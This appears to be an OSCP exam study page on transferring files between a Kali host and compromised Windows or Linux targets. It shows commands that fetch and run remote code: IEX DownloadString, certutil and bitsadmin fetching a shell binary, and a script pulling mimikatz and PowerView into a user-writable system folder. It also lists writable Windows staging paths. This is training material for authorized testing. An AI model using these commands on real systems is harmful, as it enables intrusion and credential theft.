OSCP notesExtended library
Browse tracks

Transfer Files

First choice: download a file and check its hash

Serve only a dedicated transfer directory from Kali:

python3 -m http.server 8000 --bind LHOST --directory /PATH/TO/TRANSFER
sha256sum /PATH/TO/TRANSFER/FILE

On Windows, choose a directory your current user can write:

Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile "$env:TEMP\FILE"
Get-FileHash -LiteralPath "$env:TEMP\FILE" -Algorithm SHA256

On Linux:

curl -f http://LHOST:8000/FILE -o /tmp/FILE
sha256sum /tmp/FILE

Match the hashes before execution. A download alone does not grant execute permission or bypass application control. If the connection fails, verify direction, listener bind, route and port; choose SMB/SCP/RDP transfer when its prerequisites fit. Do not disable every firewall profile as transfer troubleshooting. Adding a user to Administrators already requires sufficient rights; it is not an escalation primitive by itself.

Linux download when curl is unavailable
wget -O /tmp/FILE http://LHOST:8000/FILE
sha256sum /tmp/FILE

Use the same dedicated server directory and expected hash as above. If neither downloader exists, select an existing SSH/SCP or another supported transfer method below; a transfer does not require disabling host services.

Placing files in writeable paths

Open resource

The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803)

C:\Windows\Tasks 
C:\Windows\Temp 
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

SMB

On Kali, extract the tools.zip archive to a directory. Change to this directory and run either of the following to set up an SMB server:

python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .
python /usr/share/doc/python-impacket/examples/smbserver.py tools .

Support for smb2

python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support tools $(pwd)

To copy files from Kali to Windows:

copy \\192.168.1.11\tools\file.ext file.ext

To copy files from Windows to Kali:

copy file.ext \\192.168.1.11\tools\file.ext

Connecting from Windows to Kali SMB

# Kali - host SMB share
$ python3 /usr/share/doc/python3-impacket/examples/smbserver.py [sharename] [/path/to/share]  # setup local share

# Target - connect to share
cmd> net view \\[kali]              # view remote shares
cmd> net use \\[kali]\[share]       # connect to share
cmd> copy \\[kali]\[share]\[src_file] [/path/to/dest_file]  # copy file

RDP

Use an existing RDP endpoint and an account permitted to log on. With the current FreeRDP 3 client on Kali, redirect only a dedicated local transfer directory:

xfreerdp3 /v:HOST /u:USER /d:DOMAIN /drive:transfer,/PATH/TO/TRANSFER

Enter the known password at the prompt and verify the server identity. In the Windows session, an accepted redirected drive is available as \\tsclient\transfer:

copy \\tsclient\transfer\FILE C:\PATH\FILE
copy C:\PATH\FILE \\tsclient\transfer\FILE

Use existing writable destinations and compare hashes as in the transfer baseline. Server policy can disable drive redirection. A low-privilege account cannot add itself to Administrators or enable an endpoint merely to make transfer work; select HTTP, SCP or SMB when their prerequisites fit. Kali FreeRDP help.

The installed client is the older xfreerdp executable
xfreerdp /v:HOST /u:USER /d:DOMAIN /drive:transfer,/PATH/TO/TRANSFER

Check that installed client's help for its supported syntax; use the executable actually installed, not both as sequential transfer steps.

Powershell .ps1

This is a simple powershell script to download files:

$baseUrl = "http://192.168.119.139/"
$fileNames = @("PowerUP.ps1", "PowerView.ps1", "mimikatz.exe", "winPEASany.exe")
$downloadPath = "C:\Winodws\Tasks"

foreach ($fileName in $fileNames) {
    $url= $baseUrl + $fileName
    $filePath = Join-Path $downloadPath $fileName
    Invoke-WebRequest -Uri $url -OutFile $filePath
    Write-Host "Downloaded $fileName to $filePath"
}

Powershell

# Download file from remote to local
powershell -c (New-Object Net.WebClient).DownloadFile('http://[host]:[port]/[file]', '[file]')
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"

# Execute remote PS script
PS> IEX (New-Object System.Net.WebClient).DownloadString('http://[kali]/[script].ps1')

IWR

From Windows:

IWR -Uri http://KALI_IP:PORT -OutFile C:\Path\To\File

Certutil

From kali:

python3 -m http.server 9999

From Windows CMD:

certutil -urlcache -split -f http://<kali_ip>:9999/shell_445.exe C:\\Windows\\Tasks\\shell_445.exe

Bitsadmin

From Windows cmd:

bitsadmin /transfer badthings http://[kali]:[port]/[src_file] [dest_file]

SSH server

Use an existing authorized SSH endpoint and a writable destination. If Kali will provide it, complete the Kali SSH endpoint setup and start the service only when needed.

scp USER@LHOST:/PATH/TO/TRANSFER/FILE /tmp/FILE
scp /tmp/FILE USER@LHOST:/PATH/TO/RECEIVE/FILE

Run these on the Linux target: first download from Kali, then the separate upload form for returning a report. USER is the Kali SSH account and remote paths are Kali filesystem paths. Verify the server host key and use an existing receiving directory; no target SSH server is needed for these outbound client commands.

Transfer through an existing Windows OpenSSH client
scp USER@LHOST:/PATH/TO/TRANSFER/FILE "$env:TEMP\FILE"
scp "$env:TEMP\FILE" USER@LHOST:/PATH/TO/RECEIVE/FILE

The local path is Windows; the remote path is on Kali. If the client is absent, use a supported transfer method above rather than assuming Windows and Kali paths are interchangeable.

Netcat

Windows:

C:\Users\offsec> nc -nlvp 4444 > incoming.exe
listening on [any] 4444 ...

Kali:

kali@kali:~$ locate wget.exe
/usr/share/windows-resources/binaries/wget.exe

kali@kali:~$ nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe
(UNKNOWN) [10.11.0.22] 4444 (?) open

The connection is received by Netcat on the Windows machine as shown below:

C:\Users\offsec> nc -nlvp 4444 > incoming.exe
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43459
^C
C:\Users\offsec>

Socat

Alice wants to share a file with Bob:

kali@kali:~$ sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt

Bob downloads the file from Alice host:

C:\Users\offsec> socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create

Servers

Python2

python -m SimpleHTTPServer 7331

Python3

python3 -m http.server 7331

PHP

php -S 0.0.0.0:8000

Ruby

ruby -run -e httpd . -p 9000

Busybox

busybox httpd -f -p 10000

Reusable preparation

Configure Kali SSH endpoint

Optional Kali endpoint for the existing SCP and Plink reverse-forward procedures. Use your ordinary Kali account; neither root login nor a global trust change is required. OpenSSH server configuration.

sudo apt install openssh-server
sudo sshd -t
ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub

The syntax check must succeed. Record/compare the server key fingerprint when connecting; the fingerprint is host-specific and stays private. Start the service only when that workflow needs it:

sudo systemctl start ssh.service
systemctl is-active ssh.service
ss -ltn '( sport = :22 )'

The intended host must be able to reach the endpoint. An active service/listener does not prove remote reachability or successful authentication. If forwarding is denied by policy, review the specific SSH restriction rather than enabling root login. Stop it only if you started it solely for the finished task:

sudo systemctl stop ssh.service